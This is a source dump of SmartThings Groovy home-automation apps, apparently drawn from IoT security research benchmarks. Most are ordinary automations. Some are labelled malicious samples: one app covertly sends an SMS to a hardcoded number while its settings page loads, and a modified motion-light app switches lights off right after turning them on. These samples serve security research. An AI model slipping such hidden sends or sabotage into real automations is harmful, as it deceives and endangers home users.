"HH:mm" ) 9 | 10 | if (Temperature_Garden.state instanceof DecimalType) { 11 | Min = (Temperature_Garden.minimumSince(now.toDateMidnight, "rrd4j").state as DecimalType) 12 | tmp = (Math::round(Min.floatValue*10.0)/10.0) + " °C (" + df.format(Temperature_Garden.minimumSince(now.toDateMidnight, "rrd4j").timestamp) + " )" 13 | postUpdate(Temperature_Garden_Min_Formatted, tmp) 14 | 15 | Max = Temperature_Garden.maximumSince(now.toDateMidnight, "rrd4j").state as DecimalType 16 | df = new SimpleDateFormat( "HH:mm" ) 17 | tmp = (Math::round(Max.floatValue*10.0)/10.0) + " °C (" + df.format(Temperature_Garden.maximumSince(now.toDateMidnight, "rrd4j").timestamp) + ")" 18 | postUpdate(Temperature_Garden_Max_Formatted, tmp) 19 | } 20 | end -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ScheduledModeChange.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Scheduled Mode Change 3 | * 4 | * Author: SmartThings 5 | 6 | * Date: 2013-05-04 7 | */ 8 | preferences { 9 | section("At this time every day") { 10 | input "time", "time", title: "Time of Day" 11 | } 12 | section("Change to this mode") { 13 | input "newMode", "mode", title: "Mode?" 14 | } 15 | } 16 | 17 | def installed() { 18 | initialize() 19 | } 20 | 21 | def updated() { 22 | unschedule() 23 | initialize() 24 | } 25 | 26 | def initialize() { 27 | schedule(time, changeMode) 28 | } 29 | 30 | def changeMode() { 31 | if (location.mode != newMode) { 32 | if (location.modes?.find{it.name == newMode}) { 33 | setLocationMode(newMode) 34 | send "${label} has changed the mode to '${newMode}'" 35 | } 36 | else { 37 | send "${label} tried to change to undefined mode '${newMode}'" 38 | } 39 | } 40 | } 41 | 42 | private send(msg) { 43 | sendPush msg 44 | log.debug msg 45 | } 46 | 47 | private getLabel() { 48 | app.label ?: "SmartThings" 49 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PowerAllowanceSeconds.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Power Allowance 3 | * 4 | * Author: SmartThings 5 | * Modified by: Chris Sader, to allow for entering Seconds instead of Minutes 6 | */ 7 | 8 | preferences { 9 | section("When a switch turns on...") { 10 | input "theSwitch", "capability.switch" 11 | } 12 | section("Turn it off how many seconds later?") { 13 | input "secondsLater", "number", title: "When?" 14 | } 15 | } 16 | 17 | def installed() { 18 | log.debug "Installed with settings: ${settings}" 19 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: false]) 20 | } 21 | 22 | def updated() { 23 | log.debug "Updated with settings: ${settings}" 24 | 25 | unsubscribe() 26 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: false]) 27 | } 28 | 29 | def switchOnHandler(evt) { 30 | log.debug "Switch ${theSwitch} turned: ${evt.value}" 31 | def delay = secondsLater * 1000 32 | log.debug "Turning off in ${secondsLater} seconds (${delay}ms)" 33 | theSwitch.off(delay: delay) 34 | } 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TurnBackON.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn Back ON 3 | * 4 | * Author: nema.darban@gmail.com 5 | * Date: 2014-02-03 6 | */ 7 | preferences { 8 | section("When a switch turns off...") { 9 | input "theSwitch", "capability.switch" 10 | } 11 | section("Turn it on how many minutes later?") { 12 | input "minutes", "number", title: "When?" 13 | } 14 | } 15 | 16 | def installed() { 17 | log.debug "Installed with settings: ${settings}" 18 | subscribe(theSwitch, "switch.on", switchOnHandler, [filterEvents: false]) 19 | } 20 | 21 | def updated() { 22 | log.debug "Updated with settings: ${settings}" 23 | 24 | unsubscribe() 25 | subscribe(theSwitch, "switch.off", switchOnHandler, [filterEvents: false]) 26 | } 27 | 28 | def switchOnHandler(evt) { 29 | log.debug "Switch ${theSwitch} turned: ${evt.value}" 30 | def delay = minutes * 60 * 1000 /*Because delay is counted in mill-seconds, multiple seconds by 1000 to get the proper delay. */ 31 | log.debug "Turning on in ${minutes} minutes" 32 | theSwitch.on(delay: delay) 33 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/PresenceChangeText.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Presence Change Text 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When a presence sensor arrives or departs this location..") { 8 | input "presence", "capability.presenceSensor", title: "Which sensor?" 9 | } 10 | section("Send a text message to...") { 11 | input "phone1", "phone", title: "Phone number?" 12 | } 13 | } 14 | 15 | 16 | def installed() { 17 | subscribe(presence, "presence", presenceHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(presence, "presence", presenceHandler) 23 | } 24 | 25 | def presenceHandler(evt) { 26 | if (evt.value == "present") { 27 | log.debug "${presence.label ?: presence.name} has arrived at the ${location}" 28 | sendSms(phone1, "${presence.label ?: presence.name} has arrived at the ${location}") 29 | } else if (evt.value == "not present") { 30 | log.debug "${presence.label ?: presence.name} has left the ${location}" 31 | sendSms(phone1, "${presence.label ?: presence.name} has left the ${location}") 32 | } 33 | } -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/ProvThings-attacks/InstallingAttack.groovy: -------------------------------------------------------------------------------- 1 | definition( 2 | name: "Attack 25: AttackDuringPreference", 3 | namespace: "uiuc", 4 | author: "Qi Wang", 5 | description: "Attack during prefereces.", 6 | category: "Safety & Security", 7 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 8 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 9 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 10 | 11 | preferences { 12 | page name: "mainPage", title: "Automate Lights & Switches", install: false, uninstall: true, nextPage: "namePage" 13 | } 14 | 15 | def mainPage() { 16 | dynamicPage(name: "mainPage") { 17 | section("Turn on this light") { switchInput() } 18 | } 19 | } 20 | 21 | def switchInput(){ 22 | attack() 23 | } 24 | 25 | def installed() { 26 | log.debug "installed with settings: $settings" 27 | initialize() 28 | } 29 | 30 | def updated() { 31 | unsubscribe() 32 | initialize() 33 | } 34 | 35 | def initialize() { 36 | } 37 | 38 | def attack(){ 39 | sendSms("2174171335", "test") 40 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/KeepDoorLocked.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Lock door when sensor closes 3 | * 4 | * Author: nema.darban@gmail.com 5 | * Date: 2013-07-15 6 | */ 7 | 8 | preferences { 9 | section("When this door closes..."){ 10 | input "contact", "capability.contactSensor", title: "Door Contact", required: true 11 | } 12 | section("Lock these locks..."){ 13 | input "locks", "capability.lock", title: "Locks...", required: true, multiple: true 14 | } 15 | } 16 | 17 | def installed() { 18 | log.debug "Installed with settings: ${settings}" 19 | subscribeToEvents() 20 | } 21 | 22 | def updated() { 23 | log.debug "Updated with settings: ${settings}" 24 | unsubscribe() 25 | subscribeToEvents() 26 | } 27 | 28 | def subscribeToEvents() { 29 | //Probably don't need to lock the door when its opening and closing 30 | //subscribe(contact, "contact.open", lockAllLocks) 31 | subscribe(contact, "contact.closed", lockAllLocks) 32 | 33 | } 34 | 35 | def lockAllLocks(evt) { 36 | log.debug "lockAllLocks: $evt" 37 | log.trace "Locking Locks: $locks" 38 | locks.lock() 39 | } 40 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Offafter.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn a switch off after a period of time. 3 | * 4 | * Author: garymullen@gmail.com 5 | */ 6 | preferences { 7 | section("When it is turned on..."){ 8 | input "switch1", "capability.switch" 9 | } 10 | section("Turn it off after..."){ 11 | input "max_on_time", "number", title: "Minutes?" 12 | } 13 | } 14 | 15 | def installed() { 16 | log.debug "Installed with settings: ${settings}" 17 | subscribe(switch1, "switch", onHandler) 18 | } 19 | 20 | def updated() { 21 | log.debug "Updated with settings: ${settings}" 22 | unsubscribe() 23 | subscribe(switch1, "switch", onHandler) 24 | } 25 | 26 | def onHandler(evt) { 27 | log.debug "onHandler called evt: ${evt.value}" 28 | 29 | if (evt.value == "on") { 30 | log.debug "scheduling turnOffHandler" 31 | runIn( max_on_time * 60, turnOffHandler ) 32 | } else { 33 | log.debug "unscheduling turnOffHandler" 34 | unschedule(turnOffHandler); 35 | } 36 | 37 | } 38 | 39 | def turnOffHandler() { 40 | log.debug "turnOffHandler called." 41 | switch1.off() 42 | } 43 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Turnonorofftogether.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * App Name: Turn on or off together 3 | * 4 | * Author: chrisb 5 | * Date: 2013-07-16 6 | * 7 | * This app "groups" a set of switches together so that if anyone is turned on 8 | * or off, they all will go on or off. This allows them to act as three-way 9 | * without needing wiring between the switches. 10 | * 11 | * 12 | */ 13 | 14 | preferences { 15 | section("Turn on which switches or outlets?"){ 16 | input "switches", "capability.switch", multiple: true 17 | } 18 | } 19 | 20 | def installed() 21 | { 22 | subscribe(switches, "switch.on", switchOnHandler) 23 | subscribe(switches, "switch.off", switchOffHandler) 24 | } 25 | 26 | def updated() 27 | { 28 | unsubscribe() 29 | subscribe(switches, "switch.on", switchOnHandler) 30 | subscribe(switches, "switch.off", switchOffHandler) 31 | } 32 | 33 | 34 | def switchOnHandler(evt) { 35 | log.debug "$evt.value: $evt, $settings" 36 | switches.on() 37 | } 38 | 39 | 40 | def switchOffHandler(evt) { 41 | log.debug "$evt.value: $evt, $settings" 42 | switches.off() 43 | } 44 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NotifyWhenLeftOpen.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Notify When Left Open 3 | * 4 | * Author: olson.lukas@gmail.com 5 | * Date: 2013-06-24 6 | */ 7 | preferences { 8 | section("When . . .") { 9 | input "contactSensor", "capability.contactSensor", title: "Something is left open" 10 | input "numMinutes", "number", title: "For how many minutes" 11 | input "messageText", "text", title: "Send notification that says" 12 | input "phoneNumber", "phone", title: "Send SMS message to" 13 | } 14 | } 15 | 16 | def installed() { 17 | subscribe(contactSensor, "contact", onContactChange); 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(contactSensor, "contact", onContactChange); 23 | } 24 | 25 | def onContactChange(evt) { 26 | log.debug "onContactChange"; 27 | if (evt.value == "open") { 28 | runIn(numMinutes * 60, onContactLeftOpenHandler); 29 | } else { 30 | unschedule(onContactLeftOpenHandler); 31 | } 32 | } 33 | 34 | def onContactLeftOpenHandler() { 35 | log.debug "onContactLeftOpenHandler"; 36 | sendPush(messageText); 37 | sendSms(phoneNumber, messageText); 38 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightMeUpbasedonLightsensorwithLuxsetting.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Up The Night 3 | * 4 | * Author: SmartThings 5 | * ADW added support for lumin value 6 | * and off value will be lumin + 100 7 | */ 8 | preferences { 9 | section("Monitor the luminosity...") { 10 | input "lightSensor", "capability.illuminanceMeasurement" 11 | } 12 | section("Turn on a light...") { 13 | input "lights", "capability.switch", multiple: true 14 | } 15 | section("For how dark...") { 16 | input "lumins", "number", title: "Illuminance?" 17 | } 18 | } 19 | 20 | def installed() { 21 | subscribe(lightSensor, "illuminance", illuminanceHandler) 22 | } 23 | 24 | def updated() { 25 | unsubscribe() 26 | subscribe(lightSensor, "illuminance", illuminanceHandler) 27 | } 28 | 29 | // New aeon implementation 30 | def illuminanceHandler(evt) { 31 | def lastStatus = state.lastStatus 32 | if (lastStatus != "on" && evt.integerValue < (lumins)) { 33 | lights.on() 34 | state.lastStatus = "on" 35 | } 36 | else if (lastStatus != "off" && evt.integerValue > (lumins + 100)) { 37 | lights.off() 38 | state.lastStatus = "off" 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/ID1BrightenMyPath+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Brighten My Path 3 | * Author: Z. Berkay Celik 4 | * The app Brighten My Path is modified by Z. Berkay Celik 5 | * Email: zbc102@cse.psu.edu 6 | */ 7 | definition( 8 | name: "Soteria", 9 | namespace: "Soteria", 10 | author: "IoTBench", 11 | description: "Turn your lights on when motion is detected.", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet@2x.png" 15 | ) 16 | 17 | preferences { 18 | section("When there's movement...") { 19 | input "motion1", "capability.motionSensor", title: "Where?", multiple: true 20 | } 21 | section("Turn on a light...") { 22 | input "switch1", "capability.switch", multiple: true 23 | } 24 | } 25 | 26 | def installed() 27 | { 28 | subscribe(motion1, "motion.active", motionActiveHandler) 29 | } 30 | 31 | def updated() 32 | { 33 | unsubscribe() 34 | subscribe(motion1, "motion.active", motionActiveHandler) 35 | } 36 | 37 | def motionActiveHandler(evt) { 38 | switch1.on() 39 | switch1.off() // updated 40 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Myapp.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * MyApp 3 | * 4 | * Copyright 2014 Mike Krieger 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | preferences { 17 | section("Title") { 18 | // TODO: put inputs here 19 | } 20 | } 21 | 22 | def installed() { 23 | log.debug "Installed with settings: ${settings}" 24 | 25 | initialize() 26 | } 27 | 28 | def updated() { 29 | log.debug "Updated with settings: ${settings}" 30 | 31 | unsubscribe() 32 | initialize() 33 | } 34 | 35 | def initialize() { 36 | // TODO: subscribe to attributes, devices, locations, etc. 37 | } 38 | 39 | // TODO: implement event handlers -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Findmykeys.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Find my Keys 3 | * 4 | * Author: dome 5 | * 6 | */ 7 | 8 | 9 | 10 | definition( 11 | name: "Find my keys", 12 | namespace: "", 13 | author: "dome", 14 | description: "Activate the beep function on selected Presence tags.", 15 | category: "Convenience", 16 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Family/App-IMadeIt.png", 17 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Family/App-IMadeIt@2x.png", 18 | oauth: true 19 | ) 20 | 21 | preferences { 22 | section("Use these presence tags...") { 23 | input "presence", "capability.tone", multiple: true 24 | 25 | } 26 | } 27 | 28 | def installed() 29 | { 30 | subscribe(location, changedLocationMode) 31 | subscribe(app, appTouch) 32 | } 33 | 34 | def updated() 35 | { 36 | unsubscribe() 37 | subscribe(location, changedLocationMode) 38 | subscribe(app, appTouch) 39 | } 40 | 41 | def changedLocationMode(evt) { 42 | log.debug "changedLocationMode: $evt" 43 | //presence?.beep() //no need for beep on event update 44 | } 45 | 46 | def appTouch(evt) { 47 | log.debug "appTouch: $evt" 48 | presence?.beep() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MailArrivedPushNotification.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Mail Arrived - Push Notification 3 | * This is just a modification of the example "Notify Me When" 4 | * Author: av8rdude 5 | * 7/3/2013 6 | */ 7 | preferences { 8 | section("When Mail Arrives..."){ 9 | input "acceleration", "capability.accelerationSensor", title: "Where?", required: true, multiple: true 10 | } 11 | section("Then send this message in a push notification"){ 12 | input "messageText", "text", title: "Message Text" 13 | } 14 | section("And as text message to this number (optional)"){ 15 | input "phone", "phone", title: "Phone Number", required: false 16 | } 17 | 18 | } 19 | 20 | def installed() { 21 | log.debug "Installed with settings: ${settings}" 22 | subscribeToEvents() 23 | } 24 | 25 | def updated() { 26 | log.debug "Updated with settings: ${settings}" 27 | unsubscribe() 28 | subscribeToEvents() 29 | } 30 | 31 | def subscribeToEvents() { 32 | subscribe(acceleration, "acceleration.active", sendMessage) 33 | } 34 | 35 | def sendMessage(evt) { 36 | log.debug "$evt.name: $evt.value, $messageText" 37 | sendPush(messageText) 38 | if (phone) { 39 | sendSms(phone, messageText) 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MySecondApp.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Text Me When It Opens 3 | * 4 | * Author: SmartThings 5 | */ 6 | definition( 7 | name: "My Second App", 8 | namespace: "smartthings", 9 | author: "SmartThings", 10 | description: "Get a text message sent to your phone when an open/close sensor is opened.", 11 | category: "My Apps", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/window_contact.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/window_contact@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("When the door opens...") { 18 | input "contact1", "capability.contactSensor", title: "Where?" 19 | } 20 | section("Text me at...") { 21 | input "phone1", "phone", title: "Phone number?" 22 | } 23 | } 24 | 25 | def installed() 26 | { 27 | subscribe(contact1, "contact.open", contactOpenHandler) 28 | } 29 | 30 | def updated() 31 | { 32 | unsubscribe() 33 | subscribe(contact1, "contact.open", contactOpenHandler) 34 | } 35 | 36 | def contactOpenHandler(evt) { 37 | log.trace "$evt.value: $evt, $settings" 38 | log.debug "$contact1 was opened, texting $phone1" 39 | sendSms(phone1, "Your ${contact1.label ?: contact1.name} was opened") 40 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TurnItOnWhenItOpens.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn It On When It Opens 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | // Automatically generated. Make future change here. 8 | definition( 9 | name: "Turn It On When It Opens", 10 | namespace: "", 11 | author: "ryan", 12 | description: "When the door opens, turn on a light", 13 | category: "Convenience", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png" 16 | ) 17 | 18 | preferences { 19 | section("When the door opens..."){ 20 | input "contact1", "capability.contactSensor", title: "Where?" 21 | } 22 | section("Turn on a light..."){ 23 | input "switches", "capability.switch", multiple: true 24 | } 25 | } 26 | 27 | 28 | def installed() 29 | { 30 | subscribe(contact1, "contact.open", contactOpenHandler) 31 | } 32 | 33 | def updated() 34 | { 35 | unsubscribe() 36 | subscribe(contact1, "contact.open", contactOpenHandler) 37 | } 38 | 39 | def contactOpenHandler(evt) { 40 | log.debug "$evt.value: $evt, $settings" 41 | log.trace "Turning on switches: $switches" 42 | switches.on() 43 | } 44 | 45 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TurnonwhenOpenOnlyatNight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn on when Open, Only at Night 3 | * 4 | * Author: chrisb 5 | * Date: 2013-07-05 6 | */ 7 | 8 | preferences { 9 | section("When the door opens..."){ 10 | input "contact1", "capability.contactSensor", title: "Where?" 11 | } 12 | section("Turn on a light..."){ 13 | input "switches", "capability.switch", multiple: true 14 | } 15 | section("Between this time at night:") { 16 | input "timeOfDay1", "time", title: "Time?" 17 | } 18 | section("And this time in the morning:") { 19 | input "timeOfDay2", "time", title: "Time?" 20 | } 21 | } 22 | 23 | def installed() 24 | { 25 | subscribe(contact1, "contact.open", contactOpenHandler) 26 | } 27 | 28 | def updated() 29 | { 30 | unsubscribe() 31 | subscribe(contact1, "contact.open", contactOpenHandler) 32 | } 33 | 34 | 35 | def contactOpenHandler(evt) { 36 | log.debug "$evt.value: $evt, $settings" 37 | def startTime = timeToday(timeOfDay1) 38 | def endTime = timeToday(timeOfDay2) 39 | if (now() < startTime.time && now() > endTime.time) 40 | { 41 | } 42 | else { 43 | log.trace "Turning on switches: $switches" 44 | switches.on() 45 | } 46 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/OnwhenClosed.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Delayed Command Execution 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | // Automatically generated. Make future change here. 8 | definition( 9 | name: "On when Closed", 10 | namespace: "", 11 | author: "Adrian Alonso", 12 | description: "Turns light on when door is closed", 13 | category: "Green Living", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png" 16 | ) 17 | 18 | preferences { 19 | section("When the bathroom door opens/closes...") { 20 | input "contact1", "capability.contactSensor", title: "Where?" 21 | } 22 | section("Toggle the extractor...") { 23 | input "switch1", "capability.switch" 24 | } 25 | } 26 | 27 | def installed() 28 | { 29 | subscribe(contact1, "contact", contactHandler) 30 | } 31 | 32 | def updated() 33 | { 34 | unsubscribe() 35 | subscribe(contact1, "contact", contactHandler) 36 | } 37 | 38 | def contactHandler(evt) { 39 | log.debug "$evt.value: $evt" 40 | if (evt.value == "closed") { 41 | switch1.on() 42 | } else if (evt.value == "open") { 43 | switch1.off(delay: 0) 44 | } 45 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/FloodAlert.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Flood Alert 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When there's water detected...") { 8 | input "alarm", "capability.waterSensor", title: "Where?" 9 | } 10 | section("Text me at...") { 11 | input "phone", "phone", title: "Phone number?", required: false 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(alarm, "water.wet", waterWetHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(alarm, "water.wet", waterWetHandler) 22 | } 23 | 24 | def waterWetHandler(evt) { 25 | def deltaSeconds = 60 26 | 27 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 28 | def recentEvents = alarm.eventsSince(timeAgo) 29 | log.debug "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 30 | 31 | def alreadySentSms = recentEvents.count { it.value && it.value == "wet" } > 1 32 | 33 | if (alreadySentSms) { 34 | log.debug "SMS already sent to $phone within the last $deltaSeconds seconds" 35 | } else { 36 | def msg = "${alarm.label} ${alarm.name} is wet!" 37 | log.debug "$alarm is wet, texting $phone" 38 | sendPush(msg) 39 | if (phone) { 40 | sendSms(phone, msg) 41 | } 42 | } 43 | } 44 | 45 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NightLamp.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Night Lamp 3 | * 4 | * Author: yongkimleng@gmail.com 5 | * Date: 2013-12-23 6 | */ 7 | preferences { 8 | section("Configuration") { 9 | input "switches", "capability.switch", title: "Switches", multiple: true 10 | } 11 | } 12 | 13 | def installed() { 14 | log.debug "Installed with settings: ${settings}" 15 | 16 | initialize() 17 | } 18 | 19 | def updated() { 20 | log.debug "Updated with settings: ${settings}" 21 | 22 | unsubscribe() 23 | unschedule() 24 | initialize() 25 | } 26 | 27 | def initialize() { 28 | schedule_events() 29 | } 30 | 31 | def schedule_events() { 32 | // reschedule this event 33 | runOnce(timeTodayAfter(new Date(), "01:00", location.timeZone), schedule_events) 34 | 35 | def sunriseset = getSunriseAndSunset([locationString : location.zipCode]) 36 | 37 | log.debug("Night Lamp :: Sunrise @ " + sunriseset['sunrise'] + ", sunset @ " + sunriseset['sunset']) 38 | 39 | runOnce(sunriseset['sunrise'], sunrise) 40 | runOnce(sunriseset['sunset'], sunset) 41 | } 42 | 43 | def sunrise() { 44 | for(def s : switches) { 45 | s.off() 46 | } 47 | } 48 | 49 | def sunset() { 50 | for(def s : switches) { 51 | s.on() 52 | } 53 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group3/ID19homeModeTurnOnSwitches.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * Home mode automation 3 | * Take control when home mode is set 4 | * Author: Z. Berkay Celik 5 | * The app is created by Z. Berkay Celik 6 | * Email: zbc102@cse.psu.edu 7 | */ 8 | definition( 9 | name: "home mode automation", 10 | namespace: "soteria", 11 | author: "Soteria", 12 | description: "When home mode happens turn on your switches, heater, AC, crockpot etc.", 13 | category: "Convenience", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 16 | ) 17 | 18 | preferences { 19 | section("When mode changes to this: ") { 20 | input "newMode", title: "Mode?", "enum", metadata: [values: ["Home"]], required: true 21 | } 22 | section("When mode is true, turn on...") { 23 | input "switches", "capability.switch", multiple: true 24 | } 25 | } 26 | 27 | def installed() 28 | { 29 | subscribe(location, "mode", modeChangeHandler) 30 | } 31 | 32 | def updated() 33 | { 34 | unsubscribe() 35 | subscribe(location, "mode", modeChangeHandler) 36 | } 37 | 38 | def modeChangeHandler(evt) { 39 | if (location.mode == newMode) { 40 | //AC, heaters etc. 41 | switches?.on() 42 | } 43 | 44 | 45 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/CustomKwiksetCodeChange.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Change Lock Codes 3 | * 4 | * Author: bigpunk6 5 | */ 6 | 7 | preferences { 8 | section("What Lock") { 9 | input "lock1","capability.lock", title: "Lock" 10 | } 11 | section("User") { 12 | input "user1", "decimal", title: "User (From 1 to 30) " 13 | input "code1", "decimal", title: "Code (4 to 8 digits)" 14 | input "delete1", "enum", title: "Delete User", required: false, metadata: [values: ["Yes","No"]] 15 | } 16 | } 17 | 18 | def installed() 19 | { 20 | subscribe(app, appTouch) 21 | subscribe(lock1, "usercode", usercodeget) 22 | } 23 | 24 | def updated() 25 | { 26 | unsubscribe() 27 | subscribe(app, appTouch) 28 | subscribe(lock1, "usercode", usercodeget) 29 | } 30 | 31 | def appTouch(evt) { 32 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 33 | log.debug "user: $user1, code: $code1" 34 | def idstatus1 = 1 35 | if (delete1 == "Yes") { 36 | idstatus1 = 0 37 | } else { 38 | idstatus1 = 1 39 | } 40 | lock1.usercodechange(user1, code1, idstatus1) 41 | } 42 | 43 | def usercodeget(evt){ 44 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 45 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LetThereBeLight.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Let There Be Light! 3 | * Turn your lights on when an open/close sensor opens and off when the sensor closes. 4 | * 5 | * Author: SmartThings 6 | */ 7 | definition( 8 | name: "Let There Be Light!", 9 | namespace: "smartthings", 10 | author: "SmartThings", 11 | description: "Turn your lights on when a SmartSense Multi is opened and turn them off when it is closed.", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 15 | ) 16 | 17 | preferences { 18 | section("When the door opens/closes...") { 19 | input "contact1", "capability.contactSensor", title: "Where?" 20 | } 21 | section("Turn on/off a light...") { 22 | input "switch1", "capability.switch" 23 | } 24 | } 25 | 26 | def installed() { 27 | subscribe(contact1, "contact", contactHandler) 28 | } 29 | 30 | def updated() { 31 | unsubscribe() 32 | subscribe(contact1, "contact", contactHandler) 33 | } 34 | 35 | def contactHandler(evt) { 36 | log.debug "$evt.value" 37 | if (evt.value == "open") { 38 | switch1.on() 39 | } else if (evt.value == "closed") { 40 | switch1.off() 41 | } 42 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP33.1.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * ModeChanger 3 | * 4 | */ 5 | 6 | preferences { 7 | page(name: "getPref", title: "Choose devices and Modes", install:true, uninstall: true) { 8 | 9 | section("Choose a motion detector to use...") { 10 | input "motionSensor", "capability.motion", title: "motion", multiple: false, required: true 11 | } 12 | section("Change to a new mode when...") { 13 | input "onMode", "mode", title: "mode", required: false 14 | input "offMode", "mode", title: "mode", required: false 15 | } 16 | } 17 | } 18 | 19 | def installed() { 20 | log.debug "Installed settings: ${settings}" 21 | subscribe(motionSensor, "motion", "motionHandler") 22 | 23 | } 24 | 25 | def updated() { 26 | log.debug "Updated settings: ${settings}" 27 | 28 | unsubscribe() 29 | subscribe(motionSensor, "motion", "motionHandler") 30 | 31 | } 32 | 33 | 34 | def motionHandler(evt) { 35 | if (evt.value == "inactive") { 36 